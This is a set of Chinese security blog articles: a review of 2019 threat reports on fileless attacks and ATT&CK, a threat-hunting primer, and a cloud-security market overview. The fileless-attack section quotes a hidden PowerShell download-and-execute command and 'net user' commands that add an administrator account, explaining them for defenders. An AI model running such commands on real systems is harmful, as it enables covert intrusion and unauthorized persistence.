通过下面一张复杂的网状图可以看出，不同的网络犯罪组织都会开发和运营相关的恶意程序，也有分发渠道，其中有竞争也有一些配合的作用，比如某些恶意下载软件帮助分发勒索软件。这个产业链相当大，算是“黑产”的管中窥豹。关于网络犯罪这个话题太大，同时也要参考埃森哲的网络犯罪年度报告，这里就不展开了。

图20 网络犯罪产业链

无文件攻击分析

为了防止程序被攻击利用，已经有了很多内存机制上的内容，比如数据执行保护(DEP)、地址空间布局随机化 (ASLR)、控制流完整性(CFI)、以及Anti-ROP相关的技术，会让攻击者很难找到新的二进制级别的漏洞，或者说利用的成本很高。因此，很多黑客会转换思路，利用简单高效的方式，比如钓鱼邮件和社会工程进行攻击，也不需要利用相关漏洞。从CrowdStrike报告中的下图可以看出，这种不依赖恶意文件攻击的方式越来越多，这种malware-free也叫无文件攻击（Fileless Attack）。赛门铁克公司的因特网完全威胁报告的特殊报告中专门讲述了这种攻击技术。

图21 2019年与2018年全球恶意软件与无文件攻击对比

无文件攻击也叫“不落地”Living off the land（LOTL）的攻击方式，就是在攻击的初始入侵阶段是没有文件写入磁盘或者文件系统。这种攻击方式基本是使用系统或者应用的一些机制执行脚本进行入侵的，攻击的过程可能不用使用恶意的文件，这样被安全监测的可能性较低。举个例子，比如利用WMI的机制执行相关恶意Powershell脚本就可以完成攻击，也有可能利用一些运维工具的能力，进行相关的攻击行为，这样就可以很好地躲避检查。无文件攻击分为四种方式：仅内存的威胁、无文件的持久化、工具复用攻击以及非PE文件攻击。先表明一点：无文件攻击并不说是所有过程都不需要文件写入磁盘完成，完全靠内存攻击只是无文件攻击的一种模式。从下图可以看出无文件攻击的攻击链，第一步是入侵：基本是使用RCE漏洞进行攻击，然后在内存中执行shellcode，更常见的是通过钓鱼邮件的附件中隐藏的恶意脚本或者是快捷方式文件格式，可能过程中会有下载和自解密过程，然后利用弱密码或者认证凭证，进行RDP入侵。第二步进行持久化：有一种纯内存的不需要持久化，还有一种利用系统机制实现持久化，比如在注册表中写入Jscript。最后一步是攻击：可以使用系统双用的工具，或者是纯内存的payload或者是Powershell脚本。

图22 常见“不落地”攻击链

1.纯内存的攻击方式

多年前的SQL Slammer就是这种纯内存的攻击方式。近几年的永恒之蓝EternalBlue漏洞的利用方式也是纯内存方式，WannaCry勒索病毒就是利用这个漏洞部署DoublePulsar后门进行勒索。这种纯内存式的攻击方式，因为没有持久化，重启电脑就可以解除感染。同时，也发现攻击者对持久化并不关注，比如Mirai蠕虫病毒入侵IoT设备，可能IoT设备重启就没有了感染，但是核心服务器基本不会经常重启，所以攻击核心服务器是个很好的持久化方式。还可以利用web类型的客户端使用PowerShell下载相关payload进行执行攻击。

2.无文件持久化方式

攻击者的目标是尽量不让防御者发现机器被入侵了，所以会利用一些系统机制来绕过检测。第一种方式就是利用Windows注册表隐藏恶意脚本。

Poweliks木马就是这种类型，把JavaScript脚本藏在注册表中，将注册表中的Run的子键值作为恶意脚本的进入点，这样系统一启动就会加载这个恶意脚本。Poweliks创建了一个注册表Run键值为非ASCII码名字，这样可以防止正常的工具显示它的值并进行混淆。还会修改访问权限，从而让这个值很难被移除。这些内容还以其他的值进行混淆传播。正常的键值调用rundll32如下参数：

Poweliks是这个样子：

可以看出来在分号之后，可以执行任意的JavaScript，这个脚本可以加载其他的注册表键值并进行解密。通常脚本会创建ActiveX对象，这样就可以实现更多功能。第二步就是通过JavaScript释放Powershell脚本；第三步是利用Powershell脚本进行DLL加载，这个存在于注册表的加密字符串中；最后一步就是将这个dll注入到rundll32.EXE中进行感染。

图23 Poweliks无文件攻击步骤

同理，可以将恶意服务写入注册表。攻击者可以使用sc.exe手动添加服务，类似：

另外一种模式就是利用WMI机制。WMI机制提供一系列管理员的能力，可以进行系统设置的查询、停止进程以及本地或者远程执行脚本。可以通过wmic.exe或者PowerShell执行脚本进行交互。WMI的数据存储在%System%\wbem\repository这个位置。攻击者针对特定事件创建筛选器，并针对消费者方法触发恶意脚本执行。有点类似linux系统的crontab机制，不过是事件触发不是时间触发。利用WMI类主要需要三个要素：筛选器、消费者和绑定器。类似上面那种方式将PowerShell脚本存在注册表中，这种方式是把脚本存在WMI仓库中。

图24 利用WMI机制实现无文件攻击

利用组策略GPO也是一种方式，GPO也是后门的载入点。利用PowerShell Empire框架可以创建新的组策略或者修改已存在的策略，也是后门的隐藏地点，GPO主要用于服务器环境。

计划任务中也是一个隐藏点，可以通过命令行进行计划任务的创建，把后门写在其中，比如：

计划任务也可以用于绕过UAC并进行提权。误用系统命令会导致自动提权，比如SilentCleanup，比如下面两个命令就一个进行提权的shell，第一步是设置环境变量，然后执行计划任务：

3.非PE文件攻击

除了上面反复提到的PowerShell和JavaScript，其他的比如Word的宏以及PDF可能包含的脚本也会在打开的时候执行，结合社会工程学很容易得手。可以看出来点击两下图片，就执行了相关宏了。

图25 利用word宏功能实现攻击

Office文档有时候不需要宏也可以执行脚本，比如ppt这种文件，受害者如果把鼠标放在ppt内置的链接上就会执行相关脚本：

相当于执行了以下PowerShell脚本：

powershell -NoP -NonI -W Hidden -Exec Bypass

“IEX (New-Object System.Net.WebClient).

DownloadFile(‘[REMOVED]’,’$env:temp\ii.jse’);

Invoke-Item \“$env:temp\ii.jse\””

4.工具复用攻击

工具复用攻击主要指利用系统自带的工具进行攻击，比如下面两个命令：

net user /add [username] [password]

net localgroup administrators [username] /add

就是利用net命令创建系统管理员账号和密码的行为。

还有一种情况就是利用DLL劫持加载攻击，这个是比较常见的攻击方式。

下表主要是常见工具复用攻击的工具，比如在内部网络探测时候，会用net、systeminfo，whoami等命令，在获取凭证时会用Mimkatz、WCE和pwdump，横向移动会使用rdp、PsExec和PowerShell，数据渗漏使用FTP、RAR等工具，深度后门需要使用Net User、RDP、Telnet等命令。

图26 常见的工具复用攻击的工具

防御无文件攻击的最佳实践如下：

1. 监控工具复用的情况

2. 如果可以，采用应用白名单机制

3. 使用更好的日志记录，包括进程信息

4. 对于收到可疑的邮件，要有绝对的注意

5. 对于office附件弹出是否要启用宏时，要小心谨慎

6. 将安全软件和操作系统更新到最新

7. 使用更高级的账号安全策略，比如二元认证以及登录通知

8. 所有账号都要使用强口令

9. 如果工作结束后，退出登录

10. 只下载官方app商店的应用，不从第三方下载应用

ATT&CK框架分析

ATT&CK框架作为业界的主流标准已经被广泛认可，但是框架还是比较庞大的，还是需要关注哪些使用最多的技术。在今年的CrowdStrike报告中，对于ATT&CK框架中的一些TTPs有相关的统计，有一些重点的技术需要关注，例如，伪装、命令行界面、凭证dump、恶意软件、PowerShell等。2019年，伪装这一攻击技术的比例提升最高，主要是因为永恒之蓝的利用造成的。

图27 ATT&CK技术利用情况

从整个框架看来，红色颜色越深表明使用频度越高，这个与上图有个对照作用。其中，窃取有效账号进行攻击的方式使用的也非常频繁。在脚本方面，主要有命令行界面和Powershell，凭证窃取包括凭证转储、有效账号和账号发现，防御绕过方面主要是伪装、隐藏文件和目录、进程注入。

图28 2019年在针对性攻击中观察到的MITRE ATT&CK 战术和技术热图

FireEye的报告中也存在这样一张攻击技术使用频度的图。五大最常见攻击技术：非授权访问（T1086、T1035、T1133），脚本技术（T1064）、混淆文件或信息（T027）。FireEye发现只有40%的技术在使用。下面是按照他们自己的理解把ATT&CK框架做了拆解的热力图。

图29 与攻击生命周期有关的MITRE ATT&CK技术（热图）

Red Canary也在2019年的威胁检测报告中，公布了在过去一年中，在其检测到的15,000个威胁事件中，采用最多的Top 10 攻击技术，其中，进程注入、计划任务、Windows Admin共享、 Powershell占比均在10%以上，这四项技术的总占比超过了50%。

图30 Red Canary Top10 攻击技术

进程注入经常与计划任务（T1053）、远程文件拷贝（T1105）和Windows Admin共享一起使用。要检测到进程注入，需要监测哪些合法进程在进行一些异常的事情。通常，攻击者还会创建计划任务来运行脚本，执行进行或实现持久化，可以通过API监控、文件监控、进程监控、进程命令行参数和Windows事件日志来收集数据进行检测。Windows Admin 共享来部署恶意软件。一些有助于检测这种行为的远控包括使用cmd.exe和共享名称，例如localhost\ADMIN$ or 127.0.0.1\ADMIN$。Powershell是默认安装在每个windows系统中的，具有很高的实用性。在收集到有关PowerShell恶意实例的日志后，就可以开始寻找进程交互和其他工件，从而让安全团队注意异常和潜在的恶意行为。Red Canary的报告中针对每项技术都给出了详细的数据源和检测及缓解方式，这里限于篇幅限制，不再做过多介绍。

总结

综上所述，本文精选了一些国外安全厂商近期发布的2019年网络安全报告，着重对数据泄露、攻击事件、挖矿木马、勒索病毒、无文件攻击及ATT&CK框架技术进行了分析，我们可以以此作为情报，确定企业安全项目投资的优先次序，并能够尽早检测并击退攻击者，增强安全防御能力。其他的关于行业的分析以及地区的分析，对于我们中国市场而言意义不大，这里就不再表述。还有一些比较政治敏感的话题，本文也不再赘述。这篇文章由于篇幅原因，网络犯罪的相关内容也没有展开。

参考文献：

[1] Verizon, 2019 Data Breach Investigation Report.

[2]CrowdStrike, 2020 Global Threat Report.

[3] NTTSecurity, Global Threat Intelligence Report.

[4] FireEye& Mandiant, M-trends 2020.

[5]Symantec,Internet Security Threat Report;

Special Report Living off the Land and Fileless Attack Techniques.

[6] AccentureSecurity, 2019 State of Cyber Resilience.

[7]Trend Micro, Trend Micro Security Predictions for 2020.

[8] Cisco, 20 Cybersecurity Considerations for 2020.

[9] Red Canary, 2020 Threat Detection Report.

阅读原文

跳转微信打开

威胁狩猎101文档

Tue, 17 Mar 2020 09:00:00 +0800

原创程度 2020-03-17 09:00

威胁狩猎作为可以减少攻击驻留时间的重要能力，已经得到了业内大部分人的认可和重视。

在Kill Chain攻击框架发布了近10年后，ATT&CK框架做为后继者极大丰富了攻击分析和场景，包含了黑客渗透过程中利用具体的各种技术。在这么多攻击技术和手段的攻击下，传统的安全设备堆叠已经失守。比如各种Webshell的混淆、加密流量、社会工程对于终端的渗透，这些技术基本都可以穿透所有的传统安全产品下堆叠出的安全架构和系统。

图1：ATT&CK和Kill Chain的融合图

在FireEye 的M-Trends 2020 Reports中，发现攻击者隐藏或者驻留时间的中位数为56天。近几年的威胁检测时间都在不断缩短，主要是由于对于内部威胁的情况发现较早，极大的减少了中位数，但是外部威胁的驻留时间还在141天，接近5个月之久。

图2：全球驻留时间中位数（按年份划分）

高级威胁的存在背后是拥有高级黑客技术的人和相关的动机。对于攻击行为的动机可以分为随机的、自动化的、报复性的、经济目的、政治目的和军事目的，威胁的等级也不同。攻击者组织方式无论从时间精力和武器库的丰富度来说，对于防御方来说都是极大的不平衡。缺少高级的攻击防御经验、没有太多时间精力去保证全面的安全，缺乏相关高级的技术手段来应对。

图3：高级威胁与动机

根据Sans网络安全滑动标尺模型有五个阶段，架构安全、被动防御安全、主动防御安全、威胁情报和反制安全。在整个安全建设的过程中，目前整体都是在架构安全和被动防御安全这两个方面努力，而在主动防御方面，投入的技术、人力和产品还严重不足。要提高整个安全态势向更高层面的提升，必须要重视主动防御安全的建设。

图4：Sans网络安全滑动标尺模型

针对以上四种情况：1. 攻击手段多样性，2.攻击者驻留时间长，3. 高级威胁检测难度高，4. 安全建设的进一步要求，网络威胁狩猎（Cyber Threat Hunting）应运而生。威胁狩猎是主动安全的代表性技术，依赖于相关技术手段和人的知识，利用威胁狩猎可以减少我们目前的威胁。威胁狩猎的定义：威胁狩猎是一个高级安全功能，集成了主动防御、创新技术、技术专家以及深度威胁情报来发现和阻止恶意的并且极难检测的攻击行为。同时，这些攻击行为也是传统自动化的防御无法检测出来的。

一、

威胁狩猎相关概念

1.威胁狩猎、SOC和事件响应的关系

威胁狩猎与SOC运营中心以及IR事件响应的关系如下图所示：

图5：威胁狩猎、SOC和事件响应的关系

SOC团队主要是运营维护日常的安全设备和SIEM报警以及如何分类处置这些事件；威胁狩猎团队主要是基于一些数据和征兆进行分析安全事件，而不是直接的安全报警；事件响应团队根据这两个团队提供的信息进行相关的动作以及后面如何处理、取证、恢复等。

三者的联系在于，威胁狩猎将安全情报输送给SOC团队，并且从事件响应团队获取狩猎方法论。SOC团队将安全事件发送给事件响应团队，并从该团队获取情报。事件响应团队接受来自威胁狩猎和SOC团队的事件或者潜在的渗透行为。

在2019年的Threat Hunting报告中，受访者关于SOC有一些问题是目前很难解决的，比如一些高级威胁、处理误报时间、以及缺乏专家型人才、响应时间太慢等等。

图6：威胁狩猎中面临的挑战与主要目标

针对这种情况，威胁狩猎的主要的目的是减少外部威胁暴露面、提高威胁响应的速度和准确性，减少入侵的数量以及响应时间。

2.威胁狩猎的过程

威胁狩猎是一个持续的过程，也是一个闭环。基本都是基于假设作为狩猎的起点，发现IT资产中的一些异常情况，就一些可能事件提前做一些安全假设。然后借助工具和相关技术展开调查，调查结束后可能发现新的攻击方式和手段（TTP），然后增加到分析平台或者以情报的形式输入到SIEM中，可能触发后续的事件响应，从而完成一次闭环。

图7：威胁狩猎的过程

3. 威胁狩猎的方式

威胁狩猎过程的起点是假设，但是这种假设有三种假设来源，也是狩猎的方式：

基于分析的方式：分析分为两种，基本数据分析以及机器学习的UEBA的高级分析方式。

基于重点的方式：皇冠珍珠分析法，基于IT资产中比较重要的资产进行重点关注。

基于情报的方式：根据威胁情报提供的内容，进行威胁狩猎。

4. 威胁狩猎的成熟度

威胁狩猎也有成熟度评价，可以根据自身的安全建设情况进行相关的成熟度规划。主要有两个维度进行评价：分析水平和数据收集水平。从低到高主要分为：

Level 0：基本的自动化报警但没有数据收集；

Level 1：有一定的威胁情报处理能力和一定的数据收集能力；

Level 2：遵循数据分析的流程和较高级别的日常数据采集；

Level 3：有一些新的分析流程和高级别的日常数据收集；

Level 4：自动化大部分的分析过程和高级别的日常数据收集。

图8：威胁狩猎的成熟度

更全面的成熟度加入了假设的来源、使用的工具以及对于威胁情报的使用水平。

图9：威胁狩猎成熟度的全面分析

二、

威胁狩猎的开展

SANS 2019年的威胁狩猎调查报告显示，对于威胁狩猎的预算情况排序，大部分的预算会放在技术和产品的采购上，其次是在员工的招聘上，需要有新员工补充，排在后面的是培训和服务。

图10：威胁狩猎预算分配情况

对于威胁狩猎人员技能方面，其中75%的受访者认为威胁狩猎团队需要具备网络知识、事件响应、威胁情报分析以及终端相关知识等等。

图11：威胁狩猎团队成员应具备的技能

对于工具和数据收集的方面，SIEM报警、终端事件数据、IPDS数据、威胁情报、终端日志数据是排名靠前的几类数据来源。

图12：威胁狩猎的数据来源

开展威胁狩猎活动需要考虑三点：人员、流程和技术。

其中，对于人员的规划，需要考虑招聘、培训以及服务外包三种方式。对于未来预期有长期需求但内部员工短时间内很难习得的技能，采用招聘的方式来引入能力；对于现有员工的能力提升，需要加强培训增强员工对某些知识的理解；对于一些高级技能，若招聘成本太高，同时培训周期太长时，可以采用外包服务的形式来解决临时需求。威胁狩猎的团队组织架构如下：

图13：威胁狩猎团队的组织架构

威胁狩猎团队的人员组织，需要7种角色，有些角色可以合并为一个人，不一定是7个角色7个人。第一个角色是系统管理员，主要针对SIEM系统的维护以及威胁狩猎平台的管理；狩猎初级分析师可以使用SIEM系统和威胁狩猎平台，处理报警和一些基本平台使用。狩猎中级分析师具有对威胁情报、日志的分析能力，同时也具有渗透测试和网络协议的知识。狩猎高级分析师具有风险等级评估、漏洞管理、网络包和日志的深度分析能力、以及恶意软件分析能力。取证专家对于内存、硬盘要有专业的取证知识，可以做时间链分析。狩猎工具开发人员要具备开发经验，可以自动化一些狩猎场景。恶意软件分析工程师，主要负责恶意软件的逆向，熟悉汇编语言等内容。安全情报人员，具有情报资深经验，能够筛选、使用、开发威胁情报。

上文从流程方面介绍了威胁狩猎的具体过程，下面从管理角度描述一下整个威胁狩猎的过程，一共分为六个步骤：目的确认、范围确认、技术准备、计划评审、执行、反馈。

图14：威胁狩猎的六个步骤

对于威胁狩猎的目的确认，必须要描述清楚相关的目的和预期达到的结果，跟前文中解决的那四个问题相关。范围确认阶段主要是为了确认要达到预期结果，需要开发的威胁狩猎的假设用例。技术准备阶段要确认，在基于假设用例的情况下，需要采集哪些数据和哪些技术和产品。计划评审是对范围确认和技术准备的内容进行评审，确认其是否能真正能满足目的。接下来就是执行阶段，主要是看实际效果。最后进行复盘来检查每项活动中的一些不足，进行持续改进。

比较重要的是两个阶段：范围确认和技术准备。范围确认首先要进行测试系统的选择。对于测试系统，要确认需要哪些数据和技术手段来进行威胁狩猎。其次，假设用例的开发尤为关键。假设用例作为威胁狩猎的核心，是威胁狩猎分析的起点，来源于对数据的一些基本分析和高级分析，威胁情报的使用和收集以及对TTP的理解，甚至是一些核心能力的使用，比如使用搜索的分析能力。

威胁狩猎技术方面包含三项准备工作：数据收集、产品技术选型和威胁情报的使用。关于数据收集，要利用数据收集管理架构CMF

（Collection Management Framework），来评估收集的数据。可以根据以下几个维度进行考虑：位置、数据类型、KillChain阶段、收集方法和存储时间。当然也可以参考更细、更有针对性的ATT&CK的TTP收集粒度，DeTT&CT项目就是可以看出数据收集的范围、质量和丰富度。总体来说，数据收集的内容主要有三种——终端类型数据、包数据和日志数据。在每类数据中，要按照要求的格式和接口提供相关数据。收集形式主要有拉和推两种方式，即主动拉取数据和推送数据。

图15：数据评估的考虑因素

在产品技术选型中，核心产品要考虑两种平台型产品：一种是围绕SIEM产品展开的威胁狩猎内容，要有威胁狩猎的模块，另外一种威胁狩猎的平台型产品来实现这个功能，当然也可以考虑这两个产品进行联动。以SIEM为核心进行威胁狩猎平台的对接，其他类型的安全产品的数据接口要能开放，并能对接SIEM产品。作为威胁捕猎的核心产品或者模块要有以下几种能力：安全大数据的分析能力、查询搜索能力和威胁情报处理能力。分析能力作为核心能力，不仅仅在于基本的筛选、分类以及排序，还需要高级的分析能力，比如UEBA的能力。根据机器学习算法来进行建模分析，来定位一些异常行为，极大地降低了分析的难度。查询搜索能力是维持威胁狩猎日常运营的能力，一些疑似的攻击行为可以通过查询进行定位并可以进行深度定点分析。查询搜索也是实现ATT&CK场景的基础，很多场景的检测可以通过查询搜索能力来完成对于ATT&CK场景的覆盖。最后一个方面就是威胁情报的使用，威胁情报的识别和使用是威胁狩猎平台比较常见的功能，可以根据痛苦金字塔的威胁情报的使用，可以先从简单的文件hash和恶意IP开始使用，然后逐步加强对威胁情报的使用能力，到最后的TTP，乃至自己生产威胁情报。

三、

威胁狩猎解决方案

关于威胁狩猎解决方案，从产品到运营落地，重点介绍三类产品和服务：SIEM类产品、终端类产品和MDR服务。

1. SIEM类产品

SIEM类产品是安全品类中的集大成者，也是威胁狩猎的核心。参照2020年SIEM魔力象限的领导者象限，这些厂商都以Threat Hunting作为SIEM的主要功能之一，作为下一代SIEM的一项主要功能。

图16：SIEM魔力象限的领导者象限

IBM的QRadar作为SIEM的主流产品，已经广为大家所知，i2是威胁狩猎的产品，X-Force是将威胁情报产品作为整体解决方案。IBM i2 核心提供了多种可视化分析方法，主要包括可视化查询 (Visual Search)、链接分析（Find Linked）、路径分析（Find Path）、群集分析（Find Clusters）、社会网络分析（SNA）等分析算法与分析工具。自动布局一直是可视化分析能力的难点和重点，在这块十分出色。通过这些可视化的分析工具来实现最终的威胁狩猎。

图17：IBM威胁狩猎解决方案

Splunk的Threat Hunting能力主要是通过其强大的SPL语言实现的。作为大数据平台的领导者，安全只是其中一块业务。在其splunkbase里面有相关的app，基本思路就是将sysmon采集的数据导入Splunk然后进行ATT&CK映射，相对比较局限于windows系统。

图18：Splunk威胁狩猎解决方案

Logrhythm的威胁狩猎是通

过Threat Hunting Automation app实现的，可以看出来主要依托于威胁情报进行自动化分析。这种能力相对来说比较简单，可以应付一些场景。

图19：Logrhythm威胁狩猎解决方案

Securonix将搜索和威胁狩猎作为核心能力。威胁狩猎方面可以进行自然语言搜索，可以很快捷地进行搜索来进行威胁假设验证，也可以进行威胁情报的ioc的验证，同时可将数据导出并可视化。

图20：Securonix威胁狩猎解决方案

Exabeam威胁狩猎产品Threat Hunter依托的能力主要是搜索、查询、旋转、钻取能力，同时也有威胁情报的使用能力。

图21：Exabeam威胁狩猎解决方案

2. 终端类产品

鉴于终端类产品位置的重要性，且端点有时候也是威胁高发地和最终的落脚点，所以，通过终端安全产品实现威胁狩猎更是事半功倍。

Crowdstrike的Falcon OverWatch是其威胁狩猎模块，核心能力是实时的威胁可见性，也是很重要的一个feature。其次也有威胁情报的处理能力。

图22：Crowdstrike威胁狩猎解决方案

Cylance的威胁狩猎主要突出了其查询引擎CylanceOPTICS InstaQuery，可以查询文件、注册表、进程、网络连接等安全信息。

图23：Cylance威胁狩猎解决方案

Cybereason威胁狩猎的能力较为全面，有事件关联分析，有时间轴展示，同时也有搜索能力。对于一个威胁，Cybereason能把其来龙去脉解释得很清楚，而不是只是简单的报警。

图24：Cybereason威胁狩猎解决方案

Carbon Black也有可视化能力和查询能力，同时也有事件关联分析和威胁情报处理能力。

图25：Carbon Black威胁狩猎解决方案

Endgame已经被Elastic收购，其开源的EQL是一个很好实现威胁狩猎的查询语言，可以进行ATT&CK检测场景的实现。同时结合Elastic的产品堆栈，能够实现更多的分析场景。

图26：Endgame威胁狩猎解决方案

SentinelOne拥有True Context ID专利技术，可以对每个终端进行数据建模。如果某个终端发生异常事件，通过这个技术就可以迅速查询当时现场一些细节信息，包括进程、文件。

图27：SentinelOne威胁狩猎解决方案

3. MDR类服务

对于MDR类服务，由于甲方可能存在的人员不足或者是技能不足，还需要依赖相关高级的威胁狩猎能力外包。由于能够提供威胁狩猎的上述产品的公司都会推出相关的MDR服务，这里就只选取一家专注于MDR威胁狩猎服务的公司。

Red Canary一般会使用Carbon Black进行服务，威胁狩猎的内容包括收集终端数据、建立建设、进行狩猎验证、进行用例开发、进行威胁检测、验证威胁。

图28：Red Canary威胁狩猎解决方案

综上所述，威胁狩猎作为可以减少攻击驻留时间的重要能力，已经得到了业内大部分人的认可和重视。威胁狩猎的方式和成熟度已经进行了定义，可以参照定义进行相关能力建设。开展威胁狩猎需要从人员、流程和技术三个方面进行充分考虑。最后，从能力角度而言，威胁狩猎解决方案要具备三个基本能力：强大的查询能力、分析能力和威胁情报处理能力。也应该考虑MDR服务的形态，让威胁狩猎更好地落地。关于威胁狩猎的下个阶段——事件响应（Incident Response），也是RSAC 2020的热点议题之一，将在后续的文章中讲解。

——The End——

阅读原文

跳转微信打开

云安全的未来

Thu, 02 Jan 2020 18:09:00 +0800

原创程度 2020-01-02 18:09

随着云计算技术对科技行业的重塑性影响之下，其对安全的要求也是具有突破性的，传统的安全思路和产品已经很难适应云的环境。

自2006年AWS推出EC2之后，云计算的破坏性力量改变了整个科技行业。随后国外Google的GCP、Microsoft的Azure和国内的阿里云，进一步带动了整个云市场的发展。IaaS、PaaS、SaaS的云计算分层结构被大家所熟知，公有云、私有云、混合云在每个单位云的建设中被反复提及。随着云计算技术对科技行业的重塑性影响之下，其对安全的要求也是具有突破性的，传统的安全思路和产品已经很难适应云的环境。换言之，传统数据中心的安全方案在云计算时代下已经不适用。在云计算发展的十来年中，已经出现了不少针对于云安全的产品。随着云计算的逐渐普及，云安全的重要性越来越高，在安全市场整体的发展中，发展的速度比其它类型的安全产品都要迅速，这也是信息基础设施改变所带来的强有力的推动力。目前针对云安全类型的产品已经面向了市场，受到了市场的认可，不过国际上的产品和市场跟中国的产品和市场还是存在很大的区别。这其中有各种各样的原因，有云计算发展阶段的原因，也有云计算建设习惯的原因，也有云计算生态比较恶劣等原因。即使如此整个大趋势还是不变的，在这里可以畅想一下云安全的未来。

云安全的市场趋势

Forrester咨询机构预测云安全整体市场2018年56亿美元市场，到2023年会到127亿美元，年复合增长率在17.6%。其中在2018年，公有云原生平台安全占到70%左右的营收。国外的公有云的采用率远远高于中国，所以这个数据也能说明一定的问题，公有云确实才能发挥真正云计算的优势。但是在国内问到采用安全方案的时候，更多的是采用第三方的安全供应商、云平台本身提供的安全产品以及外采服务三种形式混搭的情况，同时第三方安全产品的选择比例高于另外两者。

图1：不同类型云服务采用安全产品比例

从收入层面来看，虽然在国外公有云平台提供的安全占比很高能到70%左右，这跟云计算发展的阶段有关，国外已经成为云计算双头垄断AWS和Azure，而在国内私有云和行业云的占比更高，跟本身技术和投入有关，大部分还会依赖于第三方的安全公司。主要分了三大部分的产品，除了平台提供的安全产品之外，一部分是云工作负载方面的安全产品，另外一部分是云安全网关类型的产品。这个数据国内跟国外出入比较大。

图2：全球云安全市场超速发展

如下图所示，按照行业来分，可以看出来金融服务、专业服务（律所、会计事务所、研发机构等）、运营商和政府合起来占了近一半市场。这个数据跟国内很接近。

图3：2023年全球不同行业云安全方案发展

云安全的主流产品

云安全产品可以从两个方面进行分类，一方面是云计算提供方直接提供的安全产品，另一方面是第三方提供的安全产品。前者也叫云计算服务方原生安全cloud native security，这里指的是云厂商配套云服务提供的安全产品，跟下文提到的cloud-native security还是有区别的，后者指的是适配云原生服务（容器、微服务等）的安全产品，注意区分。

云平台的安全产品

云平台本身也是云安全的供应商，这点毋庸置疑。但是跟第三方合作厂商的关系以及生态的理解，每一家云厂商又都是不一样的。AWS无论在是云计算相关产品还是云安全上都做到了行业标杆，其对于云安全的定位和做法引领行业。如下图所示，可以看出来云平台提供的安全能力，AWS和GCP是领导者，接下来是微软和阿里云。

图4：公有云平台提供安全产品WAVE图

Forrester这篇报告中提及Google在GCP中不断投入安全能力，无论是在控制台还是API方面都有细粒度的安全配置策略，同时有大量的安全认证和广泛的安全生态，也提供Guest OS的安全以及K8S和容器的安全。但是没有硬件的安全支持，也缺少安全总览视图。

AWS的API是最友好的，在IaaS层思考的安全最多。控制台有IAM类的功能，通过inspector这种产品解决Guest OS的问题，VPC解决网络隔离的问题，Macie解决数据发现和分类的问题。但是KMS很难用，Hub也无法灵活配置。

微软的Azure安全结合了Powershell的能力。大部分Azure的安全能力都可以通过Powershell的脚本实现。提供很多安全类产品，包括MFA、RBA、KMS、IPDS、FW等，正准备提供无密码验证机制，集成Microsoft Graph开发工具，以及提供工作负载的安全基线功能。

阿里云安全有很高的SLA以及简单的Guest OS加密机制。缺少ISO 270017/19 认证体系并且安全生态伙伴比较缺乏，同时并不支持容器原生的安全。计划增加数据安全，DevSecOps的相关内容。

这篇报告内容较为简单，我们从AWS的年度报告和目前的原生安全产品可以看出来了一些内容。2019年AWS云安全报告提及，数据泄漏，数据隐私，以及机密性是客户关注云安全的最重要的三个问题。

图5:云安全最关注的问题

公有云最大的威胁被认为是错误配置、非授权访问、不安全的接口和API以及账号、服务或者流量被劫持。

图6：公有云最大的安全威胁

AWS的原生安全产品中71%的受访者使用了IAM产品，65%使用了CloudWatch，45%使用了CloudTrail，还有42%使用AD管理以及35%使用了Trusted Advisor。

图7：AWS安全产品和管理服务事情情况

对于传统网络安全产品，85%的人认为无法工作在云上或者发挥很有限的功能。

图8：对于传统网络安全工具在云上使用效果

采用基于云的安全方案，主要是基于快速部署，节省成本以及可以在任何地方接入保证安全的考虑。

图9：对云安全方案选型考虑因素

以上节选的几点说明了几个问题，使用云计算的时候，客户非常关心数据安全的问题，大部分客户使用了云计算平台提供的安全产品，客户对于传统安全产品对于云的适配有清醒的认知，无法直接用概念洗白，更喜欢采用基于云平台的安全产品。

AWS平台提供的原生的安全产品包括五个方面：身份访问控制类、检测式控制类、基础设施保护类、数据保护类以及合规类型。

表1：AWS平台提供的安全产品

可以看出来AWS自身的安全产品还是比较齐全的，但是做其深度又如何呢？可以看几个例子。Trust Advisor的安全功能极其微弱，只有S3 存储桶权限、安全组、IAM 使用、根账户上的MFA等。

图10：AWS的Trust Advisor产品包含的功能

Inspector是一款CWPP类型的产品，但是由于功能很少被Gartner定义为漏洞扫描和配置及合规产品。

图11：Inspector产品介绍

GuardDuty算是利用AWS自身数据源做的安全检测产品，利用了CloudTrail、VPC Flow和DNS的日志，并结合威胁情报来进行报警。

图12：GuardDuty产品介绍

Macie算是一个数据安全类产品，进行数据的发现、分类和保护AWS的敏感数据。

图13：Macie如何工作

Security Hub像是个小型的AWS的SIEM产品，集合了GuardDuty、Macie和Inspector的产品，同时还可以集成相关合作伙伴的产品。

图14：Security Hub产品介绍

AWS这些安全产品的真正目的不是全面保障客户的安全，出发点是如何让客户使用云的时候能够安全，简单来说就是如何安全的使用云计算。因为很多情况不是AWS自身的安全性不够，而是客户没有很好的配置导致的安全问题，比如很多S3的配置不当引发的数据泄漏的问题。

AWS对于云安全责任共担模型的理解以及安全生态的重视，形成了目前的一系列合作伙伴产品在market place上售卖。AWS友好的安全类型的API，让很多云安全厂商可以很好的利用这些API来开发基于AWS的安全产品，这也引导了Azure和GCP的云安全建设思路，这样可以把云安全生态能够真正的建立起来。国外的很多云安全公司都在利用这些平台的API来开发自己的安全产品，在基础数据收集以及展示方面能极大的减少开发的复杂度。

反观国内，无论公有云和私有云在安全上都在大包大揽，首先云安全责任共担模型都没有充分认知，更没有将其传导到消费者那里，导致安全建设的思路还停留在数据中心安全的层面。其次，这种投入并不是经济的做法，安全行业本来就是个细分的市场，CSP对每个安全产品分4-5 个人来开发维护，提供的真正的安全价值也有限。最后，在生态建设中的思路及其不合理，不开放API和相关接口，只对自身产品开放，这种云安全的做法感觉就像作茧自缚。

第三方云安地方全产品

说到云安全的第三方产品，上面也有简单提到，目前来看新兴的比较主流的安全产品为CASB（Cloud Access Security Broker）、CWPP（Cloud Workload Protection Platform）和CSPM（Cloud Security Posture Management）三种，也可以叫他们为云安全三剑客。三者的关系可以通过下图可以表示出来，在云计算的IaaS、PaaS、SaaS三层的适用性可以区分出来。CSPM适合于多云环境或者是Iaas+fPaaS的情况；CWPP适合于IaaS或者容器为主的IaaS；CASB适合于SaaS或者是aPaaS的情况。这三个产品都是伴随着云计算的兴起而产生新的安全产品。

图15：云安全产品使用场景和使用效果

CSPM叫做云安全态势管理，核心解决的是云计算平台在使用过程中的配置安全问题，这类配置问题包括了几种类型：访问控制类、网络类、存储类、数据加密类等。CSPM能够自动化的扫描及时发现上云的风险，本质就是使用云服务的安全控制台。

图16:CSPM使用场景和效果

